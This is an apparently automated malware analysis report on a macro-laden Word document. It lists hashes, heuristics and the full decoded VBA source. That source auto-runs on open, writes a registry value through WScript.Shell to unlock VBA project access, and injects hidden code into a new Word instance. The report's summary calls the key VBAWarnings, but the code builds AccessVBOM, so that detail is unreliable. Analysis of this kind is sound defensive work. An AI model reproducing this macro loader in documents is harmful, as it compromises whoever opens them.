Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ce326e03c4c69496…

MALICIOUS

Office (OOXML)

75.8 KB Created: 2021-05-04 08:53:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-26
MD5: be6ed1566f364e89177d8cacd90439b8 SHA-1: 962e2eaceca7031cce7440680f1eed23ff3a61fb SHA-256: ce326e03c4c694961bf537e03718c9758fbd90cf7eaee334767f27b477417198
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is an OOXML document containing VBA macros. The 'autoopen' macro triggers the execution of other VBA functions. Specifically, the 'bufText' function constructs a registry path by reversing strings and concatenating them with the application version, resulting in 'HKCU\Software\Microsoft\Office\16.0\Word\Security\VBAWarnings'. This path is then written to using 'screenPtrDelete', which utilizes WScript.Shell to write a REG_DWORD value, indicating an attempt to establish persistence.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Sub screenPtrDelete(argumentGeneric)
With CreateObject("wscript.shell")
.RegWrite argumentGeneric, 1, "REG_DWORD"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub leftVariableLocal(optionRightConst As String)
Set deleteListCopy = CreateObject("word.application")
With deleteListCopy.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "ExExBorder"
Sub autoopen()
bufText
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1804 bytes
SHA-256: 426e1dbd6d030f10aa4f48644952da5b83738342d91e609e3067291eeb347d95
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{57A64FFE-162B-482B-9FDA-8558DB6C6C1B}{E7DCC9D0-96FC-4C10-A8F9-FEDCD4E12219}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "ExExBorder"
Sub autoopen()
bufText
Dim procSwapNext As String
procSwapNext = viewLinkProcedure
leftVariableLocal procSwapNext
End Sub

Attribute VB_Name = "memoryConstDatabase"
Sub leftVariableLocal(optionRightConst As String)
Set deleteListCopy = CreateObject("word.application")
With deleteListCopy.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString optionRightConst
End With
deleteListCopy.Visible = False
deleteListCopy.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "variableNamespaceVar"
Function removeIterator() As String
removeIterator = Application.Version
End Function
Sub screenPtrDelete(argumentGeneric)
With CreateObject("wscript.shell")
.RegWrite argumentGeneric, 1, "REG_DWORD"
End With
End Sub
Sub bufText()
argumentGeneric = StrReverse("\eciffO\tfosorciM\erawtfoS\RESU_TNERRUC_YEKH")
listboxVariableWindow = removeIterator
funcConvertTmp = StrReverse("MOBVsseccA\ytiruceS\droW\")
screenPtrDelete argumentGeneric & listboxVariableWindow & funcConvertTmp
End Sub
Function viewLinkProcedure()
viewLinkProcedure = StrReverse(UserForm1.TextBox1)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 23040 bytes
SHA-256: 557ae7685e32c4af00ee798e17e74c27a549d61f2fa1e1835d1594816356db22

Open this report in the interactive analyzer, or submit your own file for analysis.